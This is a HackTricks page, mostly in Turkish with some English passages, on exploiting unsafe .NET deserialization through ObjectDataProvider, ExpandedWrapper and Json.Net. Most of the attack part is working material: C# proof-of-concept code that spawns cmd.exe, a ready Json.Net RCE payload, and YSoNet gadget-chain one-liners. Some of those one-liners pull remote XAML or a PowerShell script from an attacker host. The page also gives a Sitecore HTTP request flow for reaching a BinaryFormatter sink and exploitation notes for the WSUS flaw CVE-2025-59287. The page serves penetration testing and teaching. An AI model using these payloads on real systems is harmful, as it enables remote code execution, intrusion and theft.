Temel .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 10 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu yazı, ObjectDataProvider gadget'ının RCE elde etmek için nasıl istismar edildiğini ve bu gadget ile Serialization kütüphaneleri Json.Net ve xmlSerializer'ın nasıl kötüye kullanılabileceğini anlamaya ayrılmıştır.
ObjectDataProvider Gadget
Dokümantasyona göre: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Evet, tuhaf bir açıklama, o zaman bu sınıfın neden bu kadar ilginç olduğunu görelim: Bu sınıfın rastgele bir nesneyi sarmasına, MethodParameters kullanarak rastgele parametreler ayarlamaya, ve sonra MethodName kullanarak rastgele bir nesnenin rastgele parametrelerle tanımlanan rastgele bir fonksiyonunu çağırmaya izin verdiğini görüyoruz.
Dolayısıyla, rastgele nesne, serileştirilirken parametrelerle birlikte bir fonksiyonu çalıştıracaktır.
Bu nasıl mümkün
System.Windows.Data isim alanı, PresentationFramework.dll içinde C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF yolunda bulunur; ObjectDataProvider burada tanımlanmış ve uygulanmıştır.
dnSpy kullanarak ilgilendiğimiz sınıfın kodunu inceleyebilirsiniz. Aşağıdaki görüntüde PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name kodunu görüyoruz:
.png)
Gördüğünüz gibi MethodName ayarlandığında base.Refresh() çağrılıyor, bunun ne yaptığını görelim:
.png)
Tamam, şimdi this.BeginQuery()'nin ne yaptığını görmeye devam edelim. BeginQuery, ObjectDataProvider tarafından override edilmiş ve yaptığı şey şudur:
.png)
Kodun sonunda this.QueryWorke(null) çağrısı yaptığını unutmayın. Bunun neyi çalıştırdığını görelim:
.png)
Bu QueryWorker fonksiyonunun tamamı olmasa da ilgi çekici kısmını gösteriyor: Kod this.InvokeMethodOnInstance(out ex); çağrısı yapıyor; bu, ayarlandığı metodun çağrıldığı satırdır.
Eğer sadece MethodName ayarlayarak metodun çalıştırılacağını kontrol etmek isterseniz, bu kodu çalıştırabilirsiniz:
C# örnek: ObjectDataProvider Process.Start'ı tetikliyor
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Dikkat: System.Windows.Data'i yüklemek için başvuru olarak C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll eklemeniz gerektiğini unutmayın
ExpandedWrapper
Önceki exploit'i kullanırken, bazı durumlarda object bir ObjectDataProvider örneği olarak deserialized as olacaktır (örneğin DotNetNuke vuln'ta, XmlSerializer kullanılarak nesne GetType ile deserialized edilmişti). Bu durumda, ObjectDataProvider örneğinde sarılı olan nesnenin türü hakkında no knowledge of the object type that is wrapped olacaktır (Process gibi). DotNetNuke zafiyeti hakkında daha fazla bilgiyi şuradan bulabilirsiniz: information about the DotNetNuke vuln here.
This class allows to specify the object types of the objects that are encapsulated in a given instance. So, this class can be used to encapsulate a source object (ObjectDataProvider) into a new object type and provide the properties we need (ObjectDataProvider.MethodName and ObjectDataProvider.MethodParameters).\ Bu, önceki örnekte sunulan duruma benzer vakalar için çok yararlıdır; çünkü wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.
Bu wrapper'ı aşağıdaki kodla inceleyebilirsiniz:
C# demo: ExpandedWrapper encapsulating ObjectDataProvider
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Resmi web sayfasında bu kütüphanenin Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer yapabildiği belirtiliyor. Yani, eğer deserialize the ObjectDataProvider gadget gerçekleştirebilseydik, bir nesneyi yalnızca deserialize ederek bir RCE tetikleyebilirdik.
Json.Net example
Öncelikle bu kütüphaneyi kullanarak bir nesnenin nasıl serialize/deserialize edileceğine dair bir örneğe bakalım:
C# demo: Json.NET serialize/deserialize
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Json.Net'i kötüye kullanma
ysoserial.net kullanarak exploit'i oluşturdum:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Bu kodda exploit'i test edebilirsiniz, sadece çalıştırın ve calc'ın çalıştırıldığını göreceksiniz:
C# demo: Json.NET ObjectDataProvider exploitation PoC
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Gelişmiş .NET Gadget Zincirleri (YSoNet & ysoserial.net)
The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs unsafe .NET deserialization. Modern red-team tooling such as YSoNet (and the older ysoserial.net) automate the creation of ready-to-use malicious object graphs for dozens of gadgets and serialization formats.
Below is a condensed reference of the most useful chains shipped with YSoNet together with a quick explanation of how they work and example commands to generate the payloads.
| Gadget Zinciri | Ana Fikir / Primitive | Yaygın Serileştiriciler | YSoNet tek satır komutu |
|---|---|---|---|
| TypeConfuseDelegate | Corrupts the DelegateSerializationHolder record so that, once materialised, the delegate points to any attacker supplied method (e.g. Process.Start) | BinaryFormatter, SoapFormatter, NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
| ActivitySurrogateSelector | Abuses System.Workflow.ComponentModel.ActivitySurrogateSelector to bypass .NET ≥4.8 type-filtering and directly invoke the constructor of a provided class or compile a C# file on the fly | BinaryFormatter, NetDataContractSerializer, LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
| DataSetOldBehaviour | Leverages the legacy XML representation of System.Data.DataSet to instantiate arbitrary types by filling the <ColumnMapping> / <DataType> fields (optionally faking the assembly with --spoofedAssembly) | LosFormatter, BinaryFormatter, XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
| GetterCompilerResults | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching System.CodeDom.Compiler.CompilerResults, then compiles or loads a DLL supplied with -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
| ObjectDataProvider (review) | Uses WPF System.Windows.Data.ObjectDataProvider to call an arbitrary static method with controlled arguments. YSoNet adds a convenient --xamlurl variant to host the malicious XAML remotely | BinaryFormatter, Json.NET, XAML, etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
| PSObject (CVE-2017-8565) | Embeds ScriptBlock into System.Management.Automation.PSObject that executes when PowerShell deserialises the object | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Tüm payload'lar varsayılan olarak stdout'a yazılır, bu sayede bunları diğer araçlara (ör. ViewState üreteçleri, base64 kodlayıcılar, HTTP istemcileri) pipe'lamak çok kolaydır.
YSoNet'i Derleme / Kurma
If no pre-compiled binaries are available under Actions ➜ Artifacts / Releases, the following PowerShell one-liner will set up a build environment, clone the repository and compile everything in Release mode:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Derlenmiş ysonet.exe dosyası daha sonra ysonet/bin/Release/ altında bulunabilir.
Gerçek dünya sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Kimlik doğrulamalı Sitecore XP Content Editor akışlarında erişilebilen pratik bir .NET sink:
- Sink API:
Sitecore.Convert.Base64ToObject(string)wrapsnew BinaryFormatter().Deserialize(...). - Tetikleme yolu: pipeline
convertToRuntimeHtml→ConvertWebControls. Bu pipeline,id="{iframeId}_inner"olan bir kardeş öğe arar ve base64 ile kodlanmış serileştirilmiş veri olarak değerlendirilen birvalueözniteliğini okur. Sonuç string'e dönüştürülüp HTML içine yerleştirilir.
Kimlik doğrulamalı Sitecore sink tetikleyici HTTP akışı
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: any BinaryFormatter chain returning a string (side‑effects run during deserialization). See YSoNet/ysoserial.net to generate payloads.
Tam bir zincir için — Sitecore'de HTML cache poisoning ile pre‑auth olarak başlayan ve bu sink'e ulaşan:
Vaka çalışması: WSUS unsafe .NET deserialization (CVE-2025-59287)
- Ürün/rol: Windows Server Update Services (WSUS) rolü, Windows Server 2012 → 2025 üzerinde.
- Saldırı yüzeyi: IIS-hosted WSUS endpoint'leri HTTP/HTTPS üzerinden TCP 8530/8531 üzerinde (çoğunlukla dahili olarak açılmış; Internet'e açılma yüksek risk).
- Kök neden: Legacy formatters kullanılarak saldırgan kontrollü verinin kimlik doğrulaması olmadan deserialization'ı:
GetCookie()endpoint'i birAuthorizationCookie'yiBinaryFormatterile deserializes eder.ReportingWebServiceunsafe deserialization'ıSoapFormatteraracılığıyla gerçekleştirir.
- Etki: Hazırlanmış bir serialized nesne, deserialization sırasında bir gadget zincirini tetikler ve WSUS servisi (
wsusservice.exe) veya IIS app pool'uwsuspool(w3wp.exe) altındaNT AUTHORITY\SYSTEMolarak keyfi kod çalıştırmaya yol açar.
Pratik sömürü notları
- Discovery: TCP 8530/8531 üzerinde WSUS'u tarayın. WSUS web metodlarına ulaşan herhangi bir pre-auth serialized blob'u BinaryFormatter/SoapFormatter payload'ları için potansiyel bir sink olarak değerlendirin.
- Payloads: YSoNet/ysoserial.net kullanarak BinaryFormatter veya SoapFormatter zincirleri üretin (örn.
TypeConfuseDelegate,ActivitySurrogateSelector,ObjectDataProvider). - Başarı durumunda beklenen süreç zinciri:
wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exew3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe
References
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
- Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited
- MSRC – CVE-2025-59287 advisory
- NVD – CVE-2025-59287
tip
AWS Hacking'i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks